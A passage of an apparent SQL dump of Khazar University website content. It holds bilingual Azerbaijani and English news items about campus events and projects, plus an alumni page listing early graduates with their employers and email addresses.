“Cahangirə dəstək olaq” adlı xeyriyyə konserti keçirildi. Konsertdə universitetin tələbələri...','<p>2017-cı il mayın 25-də&nbsp;Leykemiya ilə Mübarizə İctimai Birliyi&nbsp;ilə birlikdə Xəzər Univesitetində “Cahangirə dəstək olaq” adlı xeyriyyə konserti keçirildi. Konsertdə universitetin tələbələri öz dəstəklərini göstərərək müxtəlif alətlərdə mahnılar ifa etdilər. Bununla yanaşı,&nbsp;Leykemiya ilə Mübarizə İctimai Birliyinin könüllülərdən ibarət musiqi qrupu da çıxış etdi.</p>'),(3813,2215,'en','Chingiz Abdullayev met with students','Famous writer, first secretary of the Union of Azerbaijani Writers Chingiz Abdullayev`s meeting in the Khazar University was held within plan on meeting with famous persons of...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">Famous\r\nwriter, first secretary of the Union of Azerbaijani Writers Chingiz\r\nAbdullayev`s meeting in the Khazar University was held within plan on meeting\r\nwith famous persons of Khazar University Student Union. </p>\r\n<p>The writer shared his history of successful career and\r\nanswered students` questions during the meeting. Then, Chingiz Abdullayev\r\nfamiliarised with the library of Khazar University and a footage highlighting memorable moments of library staff was screened.&nbsp;</p>'),(3814,2222,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" davam edir','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" təlimindən bu günə olan şəkilləri...','<p>“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \"&nbsp;təlimindən bu günə olan şəkilləri sizə təqdim edirik.</p>'),(3815,2222,'en','Training Course for Potential School Directors Continues','We present to you pictures from today\'s training from the Course for Potential...','<p>We present to you pictures from today\'s training from the Course for Potential School Directors.</p>'),(3816,2224,'en','Our First Alumni','Our First Alumni','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Aydin Babayev</strong><strong><img src=\"/files/alumni/images/Aydin_Babayev.JPG\" style=\"width:150px;height:150px;margin:7px;float:left\"></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Markets.az” company, Executive Director</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:markets.az@hotmail.com\">markets.az@hotmail.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><img src=\"/files/alumni/images/anar%20kerimov.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\">Anar Karimov</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Economics and Management</p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor 2000</p><p>Representative Office for Azerbaijan &amp; Georgia Hungarian National Trading, &nbsp;House, &nbsp;Head, Business Development &amp; Trade Department</p><p>E-mail:&nbsp;<a href=\"mailto:anar.karimov@tradehouse.hu\">anar.karimov@tradehouse.hu<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Azer Gasimov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">BP Azerbaijan, Financial Manager</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:gasimova@bp.com\">gasimova@bp.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Eldar Latifov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Law and Social Sciences<a href=\"mailto:anar.karimov@tradehouse.hu\"></a></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Gami Gaya Ltd.” company, Manager</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:lyatifov_e@mail.ru\">lyatifov_e@mail.ru<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Kamran Behbudov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Law and Social Sciences</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Azintellect Servis” Consulting company,\r\nExecutive Director</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:  <a href=\"mailto:donbeha@yahoo.com\">donbeha@yahoo.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Khalid Ajalov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“North West Construction” company,\r\nFinancial Manager</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:xacalov@gmail.com\">xacalov@gmail.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Murad Aslanov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Law and Social Sciences</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1998</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Aristocrat” Travel Agency, Head of\r\nDepartment</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aslanov.murad@gmail.com\">aslanov.murad@gmail.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Mirbaghir Mirbabayev</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1997</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Pasha Holding, Head of Department</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mir-bagir.m@mail.ru\">mir-bagir.m@mail.ru<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Namig Ibrahimov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Fund of Social Development of Internally\r\nDisplaced Persons, Vice-Director</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:namigibrahimov@gmail.com\">namigibrahimov@gmail.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Rufat Mahmud</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1997</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“ARPA” Non-governmental Organization,\r\nChairman of Council of Trustees</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rufat.mahmud@arpa.az\">rufat.mahmud@arpa.az<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Samir Nuriyev</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Real Ltd.” company, Manager</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:samir_nuriyev@mail.ru\">samir_nuriyev@mail.ru<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Yusif Hajiyev</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Barama K.M” company, Director</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:yusif@barama-az.com\">yusif@barama-az.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Yusif Mammadli</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Law and Social Sciences</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1997</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Bioworks” company, Representative in\r\nCaspian region</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:yusifmammadli@hotmail.com\">yusifmammadli@hotmail.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Yashar Iskenderov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bachelor 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“GABEG Ltd.” company, Founder and Head</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:samir_nuriyev@mail.ru\">samir_nuriyev@mail.ru</a></p>'),(3817,2224,'az','İlk məzunlarımız','İlk məzunlarımız','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong><img src=\"/files/alumni/images/Aydin_Babayev.JPG\" style=\"width:150px;height:150px;margin:7px;float:left\">Aydın Bababyev</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Markets.az” şirkəti, İcraçı direktor</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:markets.az@hotmail.com\">markets.az@hotmail.com</a></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><a href=\"mailto:markets.az@hotmail.com\"></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong><img src=\"/files/alumni/images/anar%20kerimov.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\">Anar Kərimov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 2000</p>\r\n<p>Macarıstan Ticarət Palatasının Azərbaycan və Gürcüstan\r\nüzrə nümayəndəliyi, Biznesin İnkişafı və Ticarət şöbəsinin müdiri</p><p>E-mail:&nbsp;<a href=\"mailto:anar.karimov@tradehouse.hu\">anar.karimov@tradehouse.hu<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Azər Qasımov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">BP Azerbaijan, Maliyyə meneceri</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:gasimova@bp.com\">gasimova@bp.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Eldar Lətifov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Hüquq və Sosial&nbsp;Elmlər fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Gami Gaya Ltd.” Şirkəti, Menecer</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:lyatifov_e@mail.ru\">lyatifov_e@mail.ru<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Kamran İsgəndərov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Solus Ltd.” Şirkəti, Satış meneceri</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:k_i_75@mail.ru\">k_i_75@mail.ru</a></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><a href=\"mailto:k_i_75@mail.ru\"></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Xalid Acalov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“North West Construction” şirkəti, Maliyyə\r\nmeneceri </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:xacalov@gmail.com\">xacalov@gmail.com</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"> <p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Murad Aslanov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Hüquq və Sosial Elmlər fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1998</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Aristocrat” Turizm şirkəti, şöbə müdiri</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aslanov.murad@gmail.com\">aslanov.murad@gmail.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Mirbağır Mirbabayev</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1997</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Pasha Holding, Şöbə müdiri</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mir-bagir.m@mail.ru\">mir-bagir.m@mail.ru<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Namiq İbrahimov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Azərbaycan Respublikası Məcburi\r\nKöçkünlərin Sosial İnkişafı Fondu</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:namigibrahimov@gmail.com\">namigibrahimov@gmail.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Rüfət Mahmud</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1997</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“ARPA” İctimai Birliyi, Himayəçilər\r\nŞurasının sədri</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rufat.mahmud@arpa.az\">rufat.mahmud@arpa.az<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Samir Nuriyev</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Real Ltd.” Şirkəti, Menecer</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:samir_nuriyev@mail.ru\">samir_nuriyev@mail.ru<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Yusif Hajıyev</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Barama K.M” şirkəti, Direktor</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:yusif@barama-az.com\">yusif@barama-az.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Yusif Məmmədli</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Hüquq və Social&nbsp; Elmlər fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1997</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“Bioworks” Şirkəti, Xəzər regionu üzrə\r\nnümayəndə</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:yusifmammadli@hotmail.com\">yusifmammadli@hotmail.com<br></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Yaşar Isgəndərov</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Bakalavr 1996</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">“GABEG Ltd.” Şirkəti, Təsisçi və rəhbər </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:samir_nuriyev@mail.ru\">samir_nuriyev@mail.ru</a></p>'),(5765,3305,'az','Mikro-Nano Texnologiya Seminarı','Nanotexnologiya laboratoriyasının açılış mərasimi...','<img src=\"/files/letters/poster-nano.jpg\" style=\"vertical-align:baseline;margin-left:7px;margin-top:7px;width:600px;height:845px\">'),(5766,3305,'en','Micro-Nano Technology Seminar','Nanotechnology Laboratory Opening Ceremony...','<img src=\"/files/letters/poster-nano.jpg\" style=\"vertical-align:baseline;margin-left:7px;margin-top:7px;width:600px;height:845px\">'),(5768,3306,'en','Meeting in Vienna within AESOP Erasmus+ project','On June 11-14, 2018, the next meeting took place within Erasmus+ “Advocacy...','<p>On June 11-14, 2018, the next meeting took place within Erasmus+ “Advocacy Establishment for Students through Ombudsman Position” – AESOP project in the Office of the Austrian Student Ombudsman in Vienna city, Austria. The associates of regional partners of the project - Khazar University, Ganja State University, Nakhchivan State University, Nakhchivan University, Akaki Tsereteli State University (Georgia), Caucasus University (Georgia), Georgian American University, Poltava University of Economics and Trade and Kyiv National Economic University, University of Middlesex of England, Warsaw University of Poland and University of Jyväskylä of Finland participated in the meeting. Rima Mammadova, Project coordinator and Eynur Mehdiyev, vice-chair of the Department of English Language and Literature, represented Khazar University at the meeting.</p><p>Rima Mammadova delivered a report on Khazar University performance within the project and talked about the future plans. Josef Leidenfrost, Director of the Office of the Austrian Student Ombudsman, delivered broad information about Austrian education system, Austrian Network of ombudsmen in HE and their performance.</p><p>Within the meeting, the participants visited the University of Vienna and became familiar with the Office of Conflict Management and the office of Ombudsman for International Students.</p>'),(3820,2216,'en','Representatives of Ministry of Youth and Sports visited  Khazar University','\"Olaylar\" information agency reported that representatives of Ministry of Youth and Sports, Azerbaijan Robotics Engineering Academy and EduMedia company visited Khazar...','<p class=\"ParaAttribute0\" style=\"\" text-align:justify;text-indent:0in\"=\"\">\"Olaylar\"\r\ninformation agency reported that representatives of Ministry of Youth and\r\nSports, Azerbaijan\r\nRobotics Engineering Academy and\r\nEduMedia company visited Khazar University on May 17,\r\n2017. The purpose of visit was to organise competiton\r\nfor selection of canditates and support selected candidates` participation in the\r\n2017 World Robot Olympics to be held on May 24.</p>\r\n<p class=\"ParaAttribute0\" style=\"\" text-align:justify;text-indent:0in\"=\"\">For more\r\ninformation, please click the link.</p><p class=\"ParaAttribute0\" 